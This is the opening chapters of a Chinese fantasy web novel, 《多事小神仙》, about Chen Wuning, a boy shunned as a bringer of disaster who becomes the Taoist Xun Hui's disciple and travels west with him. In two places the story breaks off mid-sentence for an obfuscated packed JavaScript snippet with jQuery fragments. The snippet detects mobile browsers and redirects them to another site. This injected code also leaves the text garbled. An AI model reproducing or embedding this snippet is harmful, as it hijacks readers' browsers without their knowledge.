《多事小神仙》 1. 上山 “咦,我们这屁点大的小镇又没县衙,官兵怎么来了?”一路人让过道,视线追随着两名官兵奔去的方向。 旁边正在煮面的摊主随口接话:“许从邻镇借的呗?” “对哦。”路人想了想,“镇上发生了什么事?” “谁知道呢?你闲得慌,不如跟去看看嘛。”摊主将热油浇在面碗里,嗞啦一声响,顿时香气四溢。 紧接着,越来越多的人顶着一副高深莫测的神情,开始交头接耳。 “我瞧见了,官兵去了陈宅!” “陈宅?是东街头陈家吗?天呐,又出什么事了!” “就是他家,听说陈老爷死了!” “陈无宁可不得了啊,又克死一个!” 大家一路小跑,追着去看热闹。 东街头陈家,向来是钟灵镇百姓茶余饭后的八卦中心,陈老爷的死讯一经传出,整个镇子又炸开了锅! 他家有个儿子,生于六月,是个实实在在的怪胎。 当时陈家生子的产程刚开始,就不知招来了什么鬼东西,一时之间,冬虫冒头出土,与淅淅沥沥的春雨打了个照面。秋霜攀上瓦砾树枝,挂起晶莹的白。本该酷热的夏季,竟然飘起了鹅毛大雪。 镇上不乏有胆大的人和爱凑热闹的人,他们聚在一起,七嘴八舌,一边磕瓜子,一边盯紧陈宅,企图从中嗅到下一个闲趣。 当然,谨慎的人更多,他们被这怪异的景象震慑住了,四相奔逃回家,迅速紧闭窗门,生怕沾上一点祸事。 托了偏僻山旮旯的福,人间阴阳颠倒,天灾遍生,已经持续了整百年,钟灵镇却是一个很罕见的平顺小地方,但这份好处,自陈家儿子出生当天宣告终结,自此开始了长达数月的怪象。 稻子空了,不长米粒,只得一串干巴巴的黄壳。茄子瘪了,划开里面还淌着臭水。玉米根本不长个,叶片上生出块块黄斑,很快侵蚀了整株幼苗。就连生命力最顽强的土豆,拔出来也尽剩鸟蛋大小的烂果。 当年可谓是颗粒无收,人们饿得前胸贴后背,沉默又寡言。 熬过这垂头丧气的一年后,气象七七八八恢复了些,四季逐步归位。 人一旦吃饱,就能闲出屁来。 据那些大祸临头悍不畏死的瓜子勇士讲起,陈夫人生产当天,足有柱子粗的天雷裹挟着飞雪,直朝陈宅一个劲乱劈。整座宅子被黑雾覆盖,从街那头望去,像黑夜时分墓地里的棺材,透着阴森的恐怖。 第一声惊雷落下的时候,最先从陈宅里跑出的是镇上最贵的一名产婆,她踉跄得一步三跟头,跟后面有什么东西追着索命似的。陈宅的家奴东倒西歪晕了满地,事后全都摞了挑子,哭哭啼啼地跪成一排,求老爷放过。 钱不钱的,哪有命重。 一位勇士吐出嘴里的瓜壳,压低声音道:“还记得陈老爷么?他活像白面糊的鬼在街上狂奔,好像是去请德生药铺的掌柜?” “没请动啊!”药铺的邻居四下扫上一圈,跟着压低声音,作贼似的说,“平时他们哥俩好得很,说是亲兄弟也不为过。我当时扒拉着门缝瞧清楚了,陈老爷拍烂了门板,也没见他的好兄弟开门!” 众人连连点头,又一阵唏嘘,一位仁兄好似看不惯,站出来主持正义:“换成你是掌柜,你敢去吗?反正借我一百个胆也不敢!就算不怕天雷追着屁股劈,那风吹得呜呜咽咽,跟百鬼嚎丧似的,渗得我都差点尿了......” 有人忆起当时的场景,忍不住喃喃:“此言有理,换我也不敢啊!” “要怪只能怪陈夫人命不好,好不容易才有了孩子,没想到这造孽玩意儿一来,直接要了她的命!” “她的命还不好?生前锦衣玉食的,父母疼,相公爱,享过的福不要太多!” “对啊,她死在自己亲儿子手里,有什么可抱怨的?我们才遭了瘟,跟着集体饿一年,家里的老鼠都饿死了,我全家饿得两眼发黑,啃了半月草皮,还说她的命不好,到底谁的命不好?!” 大家齐齐拍手! 没人知道,那天陈老爷求医无果归来后,只看见一个嗷嗷待哺的白团子与已经没了呼吸的夫人。 平时温和可掬的男人跌坐在地,眼前幼子娇嫩可爱,可他带走了最爱的妻子,这个新生命,是用妻子的命换来的。 儿子的出生,陈宅再无安宁。 陈无宁,便成了幼子之名。 陈老爷不过三十出头,之所以被称老爷,是因为陈家算得上钟灵镇数一数二的大户。 自夫人离世后,陈老爷迅速消瘦下去,他的眼窝愈发深了,几道细细的皱纹爬了上来。以前做生意话密,后来仿佛变成了哑巴,整个人肉眼可见的颓废下去。 一岁、两岁、三岁,陈无宁开始健步如飞,也能勉强听懂大人的话。 夫人的逝世成了一块揭不开的疤,封死了陈老爷的红尘心绪,因此,他一直不喜欢这个儿子。 小孩天生敏锐,尚且幼齿的陈无宁,能感受到父亲对他的冷漠与不待见,总试着小心翼翼地讨好。 陈无宁伸出一只小手,牵住父亲的衣摆,觑着他的神色道:“爹爹,今天方先生授课,先生念了一首诗,我记下来了,想背给你听。” 陈老爷一动不动,甚至连个眼神都没施舍给他,陈无宁有点丧气,不高兴了一会儿,还是自顾自地背诵起来—— “未曾识母颜,梦里浊魂牵。此身不由已,月舍稚子怜。” 陈无宁在学识方面造诣颇高,像极了他的母亲。这首诗的意思经方先生一释,他有些难过,便一字不落的记了下来。 听儿子背完,陈老爷终于看了他一眼。 他太小了,小小的脸堆满期待,生得那样盘顺条靓,眉目间溢出了十足十的亡妻相貌。 妻子名叫元溪,是邻镇的高门贵女,因此身上总透着一股隽永的书香气。陈老爷年少时跟着自家父亲走货,途中偶然见到元溪,一眼怦然心动。 商贩想迎娶才女哪能容易,其中艰辛可想而知。陈老爷苦苦追求很多年,元溪被他一腔执着打动,毅然下嫁。 成亲后,夫妻恩爱和睦。 元溪体弱,好不容易才怀孕,欢喜极了。 可这欢喜来得突然,去得更快。 陈老爷从回忆里醒来,莫名暴躁,一把抽出握在陈无宁手中的衣摆,拾起满腔灰败,转身离去。 陈无宁拽父亲的衣摆拽得太紧,手被布料磨得红红的,泛起一股带着痛的热。 他从来都不知道自己哪里惹着了父亲,心里很不安,总想哭,可眼晴里怎么也积聚不起半点泪花,只能干巴巴地瞧着父亲离去的背影。 好像很落莫。 又看了看自己通红的掌心,小嘴不自觉地瘪了瘪。 他实在太年幼了,哪能明白世间这些说不清道不明的感情,学会说话时,叫的第一声便是爹爹,没有拳头大的小心脏,长出了尘缘中第一捧纯粹的亲情。 他没有母亲,只知道这个自己唤作爹爹的人,便是此生最亲近的人了。 可他不爱我。 陈无宁也没有玩伴,街坊邻里都会告诫自家小孩,不许靠近不详之人。 他长到两三岁,会说会走之后,也曾试图融入街头玩闹的小队伍里,可其他小孩都如同避蛇蝎一般,见着他或讥讽、或沉默、或在大人的训斥中一哄而散。 这狠狠伤了陈无宁的自尊心,当他从邻里口中得知自己克死母亲,连累小镇阴阳倒错后,灵动的性子慢慢沉寂了下来。 陈宅的故事被编成了小曲儿,流传之广,连天桥下的乞儿都会唱—— “是那十年期盼哟,梦寐成真。是那十月之喜哟,忽地失散。母不识呀父不语,天生孤胆。累得这灵秀小镇哟,阴阳错乱。大福之家,家宅不宁。天打雷劈,一生无宁。倒不如早拜那碧落黄泉,得一个转世叩问,散尽这倒霉运!” 听多了,陈无宁偶尔也跟着哼唱几句。 陈家世代做布料生意,周边大山圈着的几个小镇都有他家店铺。陈老爷为人厚道,生意一直不错,但自从夫人故去,他再无心打理了,对家又趁着这期间发力,因此生意一落千丈。 陈老爷只好将其它镇上的铺子全卖了,换成真金白银,本家镇上留了一间自己经营,好歹寻些事做,不至于哪天就疯了。 家奴们早跑得没了影,店里的工人也遣散了,家中只留得一名老仆妇,帮着洗衣做饭带孩子。 老仆妇王婆是饥荒年间逃难的一员,无意间来的钟灵镇,家人全死在了路上。她运气不错,活着到了钟灵镇,被陈家收留,十分尽忠尽职。只是她上了年纪,腿脚不便,说话做事都是慢动作。 王婆成天看着亲父子处成这样,也总忍不住叹息。 陈老爷不搭理儿子,王婆话又不多,偌大的宅子冷清得跟孤坟野地没任何区别。 墙外街道,行人嚷嚷,喜笑宴宴。有孩童结伴玩耍的吵闹声,也有寻常夫妻拌嘴的怒骂声,更多的是小商小贩的吆喝叫卖声。 唯有陈宅被隔离开来,寻不到一丝人间烟火。 日子在静谧的陈宅中缓缓流逝。 陈无宁长到六岁时,父亲的噩耗传来。 这半个月陈老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639398|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷都在外地走货,夏天时常下暴雨,并伴随着电闪雷鸣,他被雷劈成了焦炭,人死在了树下——若不是马车铁沿上刻的“陈”字以及车上那熟悉的布匹,恐怕没人能认出他来,就要曝尸荒野了。 钟灵镇再次沸腾,怕是话本书生都编不出这等诡谲之事!六年前陈夫人死于难产还是天雷尚有争议,没人亲眼见过她的死态,因此吵了许多年也没得出一个结论。 这回,陈老爷妥妥地被雷劈死了,怎都抵赖不得! 街坊邻里私底下议论纷纷,胆大的在明面上看笑话,胆小的依然惶恐。 茶楼里闹哄了很多天,左右无事的人开始了新一轮八卦,一人长一张嘴,一百个人就有一百张嘴,闲言碎语弥天盖地,你方唱罢我登场。 “我说陈无宁是灾星吧,之前还有人不信,这下好了,双亲都被他克死得透透的。我要生出这么个儿子,不用别人说,抓紧自我了断吧!” 有孩子的人家整天提心吊胆,呲牙咧嘴地告诫自家小孩:“不准跟陈无宁说话,他是妖怪,和他说话天打雷劈,倒八辈子的霉!” 陈无宁当自己聋了哑了,跟随官差,到了父亲的逝世之地。 父亲的尸身倚在树下,通体模糊焦黑。人形还是完整的,看得出来鼻子眼,只是内里的水分都被掏空,只剩下一具一碰就散的炭灰壳,似乎还散着点香喷喷的焦肉味。 他的头偏在一旁,搭拉着树杆,从那黑炭一样的面容上,还能看见轻轻上扬的嘴角,噙着一丝说不出的笑意。 陈无宁觉得自己格外冷血,父亲死得如此惨烈,做儿子的应该悲痛万分,但此刻他的心里只有一股诡异的平静。 他既不悲伤于父亲的逝世,也不兴奋于终究从这冷漠的血缘关系里解脱出来。 他从父亲的身上移开眼,看见不远处有一座破庙。 风再狂,雨再大,雷再惊,从这棵树到破庙,也就百余步。 父亲可以活着的,他不想活了。 陈无宁被抛弃得彻底,破烂一般被扔在这茫茫世道,心忽然就空了。 那种感觉说不出的奇妙,就像人生中第一次荡秋千,从高处快速飞向另一个高处,脚却踩不上地,一颗心被失重感填得满满当当的,惟余求生的慌不择路,一下就清空了一切情绪。 “不悲,不惧,也不愤,竟然还获得了一丝安宁。” 当然,这是后话,是那个贱兮兮的少爷粘着他讲这段童年往事时,脱口而出的。 陈无宁当时所想,不过当自己是块天生地长的顽石,没有来处,也不必问归处。 父亲的丧仪草草了了,与母亲葬在一处,陈无宁自认全了他一世念想,便当自己已尽孝道。 陈宅惟余王婆和他,最多还有一个收取重金、每天到点上门教书的方先生。 做块石头也有好处,比如不必再看任何人的脸色,不用理会闲言碎语,更不必思虑过多。他并不缺衣少食,陈家世代在此累积的财富也够这一生用度,在孤独又漫长的成长岁月里,他唯一感兴趣的就是读书识字。 书里有万象乾坤,催得人早熟早慧。 他还搜罗了一堆乱七八糟的剑谱,照着书上的姿态注解,拿着一根木棍反复比划。 隔三岔五,总有顽童从院墙外往陈宅里扔东西,有时候是石头,有时候是骨头,有时候是各种烂果菜叶。陈无宁每天上午在后院“习剑”时,经常被从天而降的东西砸出淤青,最严重的一次砸破了头,伤到太阳穴,肿了眼角,流了好多血。 王婆很伤心,一边替他包扎,一边可劲哭。混浊的眼泪流在她沟壑纵横的老脸上,陈无宁板正坐着,任她摆弄,他想说我不疼的,却是说不出来。 可能倒霉事太多,上天对陈无宁也有那么一丁点的眷顾。他看似弱不禁风的外表下,实则抗打抗摔。身上无论受过任何大小伤,只要睡过一晚,便会好得看不出来。而且还越长越好,虽然总是冷眉冷眼的,却是地地道道的清俊相。 自那次“重伤”后,陈无宁不忍再看王婆哑着嗓子哭,只好动起手来,照着《亡魂志》,做了一男一女两个招魂幡,幡上分别写着“亡父、亡母”四个大字,绑上父亲与母亲的物件,立于陈宅大门上。 猎猎的风吹着黑色幡动,给陈宅笼上了一层死气。 当然,没有传说中仙人符咒的加持,这对招魂幡只有模样上的震慑作用,但配上陈宅的恐怖往事,效果意外的好。 再没有小孩对陈宅动手动脚了,当然,就连方先生打死也不来登门教书了。 陈无宁不以为意,反正陈宅清冷惯了,再冷些也不妨。 2. 上山2 夏天的风格外大,后院里,老槐树叶子沙沙作响,满天乱飞。 门头黑幡在风霜雨雪的摧残下掉了色,还破了几道口子,陈无宁寻思着再做一对。 彼时,他已经十岁出头。 这天,一个胆肥的青年站在了陈宅大门前,扬手接住一片树叶,又轻轻扔掉了,不动声色地敲敲门。 这位不请自来的年轻人自称是一名道士,道号荀洄真人。 这些年别说人了,就连苍蝇蚊子都绕着陈宅飞。王婆挨个拉开厅堂的抽屉,摸索半天,终于摸到一包生了霉的陈年老茶。 她佝楼着背,颤颤巍巍地沏了杯茶,给荀真人奉上。 荀真人喝得眼冒金星,又自觉得道真人可不能丢失体统,硬是忍住呕吐的冲动,筋挛着将茶水吞进肚里。 那表情看来,仿佛就快去见祖宗了。 陈无宁坐在主位上,冷眼旁观,并收拾出一副高深莫测的神情,等着真人告知来意。 荀真人一杯茶下肚,印堂立马黑了,却也同样繃出一副云淡风轻的仙人脸,往小大人坐的地方瞧了瞧。 他第一印象便是:这孩子不像孩子。 陈无宁脸蛋稚嫩,纤细的小身板尚未来得及发育,明白昭示着他是个妥妥的真小孩,可却衬着一脸拒人千里的冷漠,看起来就像是眉目精致、却没有活气的木偶娃娃。 荀洄收起打量的目光,忆起自己十来岁的岁月,掌门师父牵着过于活泼的他,天南地北一路游历。渴了有师父打水喝,饿了有师父抓鱼吃,困了还有师父宽厚的肩背。 一般小孩都带着些稚气的可爱,但眼前的陈无宁竟生着这副皮相! 这些年,荀洄孤身路过万里河山,从不与人搭伴,甚至连语言功能都有些退减,因此一开口很是笨拙,用哄小孩的姿态哄骗道:“我见小公子生得目清神明,想来仙根无量,可愿拜我为师,随我修行大道?” 听这人满口胡诌,陈无宁忍不住审视起他来。 真人一身靛青袍子,倒干净利落,看脸约摸二十多岁,奇怪的是,他鬓间青丝却夹着几缕白发。 传说中仙士都是长生不老的,这人一看,就不像正经修道的。 “荀真人何来此言,怕是进门前,早就打听了我家的事。若化缘借宿,请自便。若专程前来戏谑我,大可不必。” 陈无宁冷哼一声,还未变声的童音显得格外滑稽,又带着几分冰冷,“真人还是另寻乐子吧!” 荀洄没料到这小公子竟如此地不好哄,他收回坑蒙拐骗的目光,眼神冷了下来:“老夫今日初次见你,便知你心有万丈,却被囚于方寸囹圄。敢问,这宅子能否装下你那千头万绪?装下你奇诡波澜的人生?!” 陈无宁立时反驳:“我不过十来岁,心智还未长全,何来千头万绪?!” 荀洄终于不装大尾巴狼了,不假思索地给了判词:“十岁小儿,可不是你这般模样!” 陈无宁脸色蓦地铁青,看似马上要下逐客令! 殊不知荀洄说完这话也后悔了,他懊恼不已,寻思该如何补救,着急中端起茶盏闷头一喝,这次再也没忍住,“噗”地将口中茶水喷了一地,咳了个面红耳赤! 陈无宁本欲抬起的屁股又在这阵呛咳声中落了回去,神色阴冷地盯着他。 稍作平息后,荀洄终于拾回正色,缓声道:“小公子,方才老夫说错话了。不过你可明白,这世上有很多人,从生下来便被命运捉弄,被烦恼丝缠身,有的穷困饿肚,有的身患疾症,有的万事不由已。大多数人只能浑浑噩噩的了此一生,却也有人能找到去时的路,无挂无碍地奔赴大道。” “你愿意做那大多数苟且之人,还是做那寥寥几位堪破之人?”不等陈无宁作答,荀洄又问,“其实,你心里早有答案吧?” 从未有人对陈无宁说过这种话。 陈无宁回首过往,除了最初去讨要父亲宠爱而心生期待的那种欢喜,后来又长时间沉湎于书海窥得了一丝安宁,他的喜乐少得可怜。 他心里藏着很多声音,不断质问—— “真要这样活着吗?” “在这小镇上,被人骂着怪胎,指指点点过完一生?” “这样过活,还不如死了。” 陈无宁好像早就知道会有今天,很多时候,他都会不自觉地冒出一个念头:我并不属于这里,会有命运裹挟着我,去往另一个天地。 而此时,他却还是忍不住问:“为何是你?” “因果缘由天注定。”荀洄轻叹一声,“小公子,你命途多舛,我见犹怜罢了。” 可这世间哪有无缘无故的垂怜。 也许在某一瞬,一些人或因不忍、或因感动而心绪动荡一番,更有甚者,伸出手对落难者拉扯一把,已是莫大的慈悲。 一个无名小镇,一个身陷流言的孩童,足以让一位修道者专程前来,带他走出污糟,去触碰另一个天地? 陈无宁面冷心也冷,可年岁摆在眼前,还不到能堪破这些道理的时候,只知世间从未有人怜惜过他,眼前真人却端坐于此,对他道一声“我见犹怜。” 他心里筑起的冰原封冻了那些没用的情感,此时,似有春风过境,一朵小花摇摇晃晃地破土而出,挤开冰雪,融了极细的一道水痕,带着些暖意流淌起来。 许是心里太冷了罢,一缕光就能破冰。 王婆既没流泪,也没不舍,她老眼昏花,心神透亮——命运待这孩子太不公了,他迟早有离开的那天。 王婆替他收拾好行囊,递了过去。 “你走吧,不必担心老婆子,老婆子活一天,便会看好陈宅一天。等你将来长大了,如果路过这里,记得回来看一眼。” 陈无宁站着不动,自己若走了,陈宅就不剩别的活物了。 他想了想,风一样地跑出门,回来的时候手上多了只奶狗,也不知是从哪抱来的。 王婆顺从地接过小狗,拢在怀里,满是老茧的手轻轻摸着狗狗身上光滑的皮毛。 “有个会喘气的陪老婆子了,你走吧,老奴被你家的破事烦透了,你走了眼不见为净,兴许还能多活几年。” 她叹了口气,狠了狠心,做了个“去吧”的手势,便径自回了房。 陈无宁就这样跟着一面之缘的真人走了。 荀洄完全跟初次登门的时候不一样,私底下其实是一个活泼温柔的师父,他也许太长时间没怎么说话,一开口就歇不下来。 荀洄时常单方面胡言乱语,讲话内容天马行空,可对陈无宁来讲,身边多了这么个叽叽喳喳的人,他的内心逐渐有了安全感,也尽力学着平和下来。 荀洄说自己是弃儿,襁褓中便被师祖捡了回去,给他生命,教他识字明理,带他修行入道。师祖的脾气不怎么好,却也将毕生耐心都给了他。 荀洄说自己是头一回收徒,不怎么熟练,只能依着师祖的路教他,希望大徒弟能给点时间,稍稍包容一下。 陈无宁耐心听着这些闲碎话语,有个话多的师父,路上倒不觉得无趣。他自小没出过远门,唯一一次走得较远,还是跟着官差去给父亲收尸。 师徒二人好像没有目的地,一路走一路看,行至乡间田下,会帮助农夫干些农活换吃食,行至高山密林,也会指引迷路的小精怪回家。 他第一次见到精怪的时候,眼都直了。 那是一个头上顶着两朵百合花的花精,不足一尺高,像个蹒跚学步的奶娃娃,一步三扭地对着师父和他道谢。 小花精开心的时候,头上便开出花,散出阵阵清香。难过的时候,花就拢成了花苞,还能随时从掌心冒出几朵花来把玩。 陈无宁本以为世间的鬼怪精灵都是话本书生胡编乱造的,师父也只是一个会装神弄鬼的道士,毕竟在凡间,没有人亲眼见过鬼神。 他也一度怀疑自己的出生只是运气不好,恰巧撞上了天灾,没想到竟然是真的。 “难道这一切并非巧合,我真遭了天谴?” “难道苦修大道,飞升成仙,也是真的?” 单这两个问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639399|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就够他想一路了。 陈无宁很能适应游历生活,虽然苦了些,会口渴肚饿,会睡在荒郊野外,但见到红土瓦砾、碧波清柔、旷野无垠,心境也跟着开朗许多。 又见到这个世界造物的许多奇妙,发觉陈宅的宿命仿佛前生一般,越来越模糊。 他开始不怎么与荀洄讲话,孤独惯了的戒备让他无法盲目地与人亲近。 荀洄很有耐心,最初的日子里,总是谨慎平和地问他:“无宁累了吧?累了就歇会儿,师父给你打水喝。” 在雨疏风骤的夜晚,荀洄也会替睡下的他盖好薄毯,然后在旁打坐入定。 师父的日夜陪伴打破了陈无宁十年建立起来的情感壁垒,他不再端着冰霜一般的脸庞,许是孩童应得的宠爱正在被师父慢慢地找补回来,他整颗心开始柔软,恢复了一些孩子气,试着与相依为命的师父主动讲话。 “师父,我们是去哪儿?” “往西边走。” “为何是西边?” 荀洄噎了一下,糊弄道:“为师卜了卦,西方与我们极为有缘。” 在相信师父的鬼话与不信师父的鬼话之间纠结半晌,陈无宁最终选择了相信。 “师父,我们门派叫什么?” “小门小派,不足挂齿。” “哦,反正路上没什么事,我正好闲着,该怎么修行大道?” 荀洄一边走,一边往乾坤袋里掏,摸出一本都快翻烂的残破书籍给他递去:“无宁,你途中将此书背全,师父见你已识字,书理当看过不少。” “这是什么?” 陈无宁小心翼翼地翻着手上的书,生怕用点力就当场给拆了。 “这是本派的入门心法,你先背下来,再慢慢理解。” “这是师父写的?” “我哪有这种本事,大约是我派哪位祖宗写的。” “师父,”陈无宁疑惑地抬头,“小门小派哪来的祖宗?” “这……” 荀洄尴尬了一会儿,他发现这个徒弟实在太聪明了,不好随意糊弄,颇有些无奈地说,“我派的人都死光了,门派也回不得,惟余你我二人,就当作无门无派吧。以后无论谁问起,都得这么说,有的事等你长大一些,为师再告诉你,好吗?” 怀揣着一万个问题的陈无宁闭了嘴,师父自有师父的道理。 不知晃荡了多久,途中路过某个小镇,一向穷困抠门的荀洄竟然买下一只彩纸糊的五色风车,递给了陈无宁。 “无宁,为师祝愿你十一岁生辰快乐。” 陈无宁从未过过生日,从未收过礼物,他的生日是母亲的忌日,是钟灵镇临难之日,也是父亲的心死之日。 一阵风吹来,风车转动,煞是好看。 眼前是师父蹲下身与他平视的脸,带着些慈爱的笑意。 陈无宁每每难过的时候,眼眶就发红,然后干涩。 人都是会哭的吧?他就不会。 在长大一些后,他觉得哭很难看,没有眼泪是一件极好的事。 只是现在,他又希望能挤出几滴眼泪,以证明他并非一个冷漠无情的人。 首徒红了眼眶,荀洄大惊失色,赶紧将他的小脑袋按在自己肩膀上,轻声哄道:“乖,过生日如何能哭?是不是为师说错了什么,惹你不高兴了?” 陈无宁流不出泪,只好拼命摇头。 他暗暗决定,师父便是这世间,我最亲的人了! 风车很小,掌余长,陈无宁珍重收好,跟随师父去了酒楼。师父似乎非要给他过一个完整的生日,带他吃了当地特色菜,叫了大碗鲜羊奶。 吃完后,还要了一间客房,晚上就在客栈住下。 陈无宁已经很多天没有睡过床铺,被子上棉花和阳光的混香怡人,他耸动鼻尖,使劲嗅了嗅。 旁边小榻上,师父打坐入定。 罩着透明盖子的烛灯,散出一室柔和的光晕。 他不住地想,这种日子太好了,我真的真的很喜欢。 3. 上山3 陈无宁在县志上看过钟灵镇的方位,师父带着他往西走了一年有余,就算是只蜗牛大概也爬到了,可他俩才走出中原地界。 大多时候都在东绕西拐,似乎没有一个目的地。 据师父讲起:“不必拘泥于何时抵达,你自小困顿,游历对你有益。” 陈无宁没有意见,只是心中浮起疑问,按这么个游历法,师父不早就老成枯树皮了?可他看上去还很年轻,莫非将来要飞升成仙的,才能保持容颜不老? “师父,你多少岁了?” 陈无宁还是没忍住好奇。 “为师记不清了,大约一百多岁吧。”荀洄轻笑了一下,“无宁,你以后遇着真人修士,可千万别问人家的年纪,显得无知。修仙之人伐骨洗髓,与天争命,容颜一般不会轻易老去。” 陈无宁大惊:眼前这脸上没有一丝皱褶的师父竟然百多岁了? 他不敢信,直接点出要害:“师父,你有白头发。” 荀洄摸了摸自己的头发,叹息道:“为师有伤在身,自显端倪罢了。” 陈无宁心疼不已,想追问是谁伤着师父了,但又觉得师父不想谈及此事。 他暗暗发誓,以后谁要敢动师父一根毫毛,定叫那人有来无回! 此后,他更加勤勉懂事,累的时候就找地休息,背诵经书,还时不时给荀洄揉肩捶背。 荀洄得了一个好徒弟,心里涌起百般滋味。 踏入西方地界,风貌大异,青山巍峨,绵绵不绝,大型野兽渐多起来。入夜,荀洄不再生火,怕引来怪物。陈无宁有些冷,他毕竟还未入仙门,对暑气寒凉只能如凡人一般生受着。 荀洄就掏出乾坤袋,翻出衣物,全都盖在他的身上。 一天入夜前,他俩好不容易找到了一个山洞,便打算在此休息,正要合眼的时候,洞外突然传来几声婴儿的啼哭! 荒山野地别说人了,鬼都捞不着一个,何来婴儿哭声?! “别动。”荀洄眉头微皱,“你安静待着,为师出去瞧瞧。” 夜里一片漆黑,荀洄嘱咐了陈无宁,沿着洞壁走到洞口,正好与一对冒着红光的大眼睛来了个脸对脸! 那双巨大的眼睛占据了荀洄整个视线,一时看不清洞外到底是什么。他愣神一瞬,反应过来后,立即以极快的速度摸出一张隐身咒,拍到自己身上! 眼前只有山壁和一片虚空,怪物的红眼睛眯成了一条缝,确认了眼前无物,这才又扭动身体,掉转方向。 适应黑暗后,荀洄看清了洞外情形——一条身形巨大的怪物嗞嗞吐着信子,朝着正前方的一坨小衣包横冲直撞而去! 小衣包藏在草丛里,只露出一小点浅色布料,看得不太真切。这个不知哪家的倒霉孩儿似乎嗅到了某种危险,又发出几声清脆的啼哭! 荀洄:“......” 怪物已经朝小布包张开血盆大口,荀洄管不了那么多了,从乾坤袋里抽出一把剑,径直砍去! 怪物被他惊动,转过头,只见一把剑当空劈下,它连忙四翼一展,直飞上天! 荀洄扔出一张明火符,天空瞬时大亮! 他这才看清怪物的全貌! 怪物顶着一个扁平蛇头,拖着长长蛇尾,长着两对翅膀,六只脚,整个身体左摇右晃,一双超大的红眼晴在夜里散出可怖的亮光! 虽然看不见人,但怪物看清楚有一把剑对着自己穷追不舍,料定地上有更大的活物,仿佛宵夜有望,它蛇信一伸,俯冲下地! 荀洄提剑相迎,打得不可开交! 怪物的身躯灵活极了,能走能爬能飞,闪避得眼花缭乱。 一番战斗下来,荀洄感觉身上的伤又有加重的趋势,喘气声已经出卖他此刻就快不支的气力! 怪物寻着机会,右翅一展,将荀洄连人带剑一起扫飞,直接撞上了洞岩! 一声泛着血腥气的闷哼传来! 山洞里的陈无宁焦急得左支右绌,听见外面这般响动,怎么也坐不住了,把师父的叮嘱抛之脑后,飞快跑了出来,正好瞧见怪物朝着师父窸窸窣窣地游蹿而去! 饶是他性子再怎么坚硬,此刻也被吓呆了...... 眼前的是、是什么东西?! 师父怎么吐了血?! 荀洄被拍到岩壁的时候,身上的隐身咒便落了,陈无宁慌乱之中掠至师父身边,捡起地上的剑,收拾好惊惧的脸,哆哆嗦嗦地将剑尖对准了怪物! 他咬着牙,摆出一副活拼了的架势,眼神直勾勾的,某种不知名的杀气溢散开来。 荀洄艰难地撑着岩壁站起,想将徒弟护至身后。 这时,诡异的一幕出现了,怪物竟然半路停下,朝陈无宁的眼睛直视过去!片刻之后,它像是受到了某种刺激,垂下脑袋,展开翅膀飞到半空,发出一声奇特的低吼,就这样放弃了宵夜,飞走了...... 陈无宁吓得脱了力,瘫坐下来大口喘气。 荀洄见他无碍,拖着残躯走到那坨小衣包前,揭开头布,一张雪白的小脸暴露出来。 孩子小极了,不足月的模样,正滴溜着一双葡萄般的黑眼睛,盯着眼前的陌生人。 荀洄无话可说。 他这辈子怎么就跟破小孩如此有缘? 在这鸟不拉屎的地方也能捡着一孩子?! 毕竟是条性命,总不能撒手不管罢?他只好蹲了下去,小心翼翼地抱起孩子,回到山洞。陈无宁调整好状态也跟了进来,看见师父怀里的小婴儿,就算一再做了准备,还是不由得怔住了。 他对孩子的印象仍然停留在小镇的那些年,痛恨排斥至极。 圣贤书上说“人之初,性本善”,可在陈无宁心里,小孩本性趋恶,包括他自己。 陈无宁的整颗心塞满戒备与拒绝,没发现荀洄的衣衫已破,血从里渗了出来。 荀洄偏头,扫了一眼自己带血的肩膀,再朝埋着头的陈无宁看去——这个徒弟一向听话懂事,虽然总透着一股冷漠的倔强,却也对他这师父百般敬爱。 此时他伤成这样,徒弟却丝毫没有上前搭把手的意思? 陈无宁平时好奇心旺盛,此时对突然出现的怪物竟也没有发问? 荀洄一眼就明白了他在想什么,轻轻叹了口气,抱着婴儿席地而坐。 伤就这么搁着吧...... 黑夜漫长,一大一小一幼,各揣着心事的共处一室。婴儿似乎哭累了,已经沉沉睡去。荀洄看看大的,又看看小的,只觉得头上又得多长几根白发。 接连好几天,陈无宁该干嘛干嘛,要么背诵经文,要么抓些山鸡河鱼充饥,始终不言不语。 这样下去也不是办法,荀洄尝试着与他沟通。 “无宁,你好歹说句话。” “你不想要一个小尾巴么?” “无宁不喜欢的话,要不,把这孩子扔了?” 陈无宁:“……” 大徒弟的身体不自然地震了震,虽然没开口表态,荀洄眼角却噙着一丝笑意。 西方地界深处,环境越发阴冷。 自羊肠小道向山巅眺望,积雪皑皑,宛若一尘不染的苍茫秘境。大鹰在山腰盘旋,偶尔发出一声直击长空的厉鸣。 荀洄有伤在身,整天还抱着个婴儿,实在走不动了。 “歇会儿吧。” 陈无宁听话地找了一块石头坐下,掏出水壶一阵猛灌,不自觉地看向师父。 师父的唇色和脸色一样苍白,这阵子愈发瘦了,宽大衣袍随风作响,大有马上要昏厥的趋势。而他的衣衫正日渐装不下迅速拉长的身躯,袖口和裤脚都显出快要裹不住的拘谨。 陈无宁纠结半晌,几日烦闷下来,对师父的信任与亲近最终战胜了对那小孩的厌恶,看见师父快要背气的样子,最终还是败下阵来。 他走到荀洄身边,伸出双手,想要接过师父怀里的孩子。 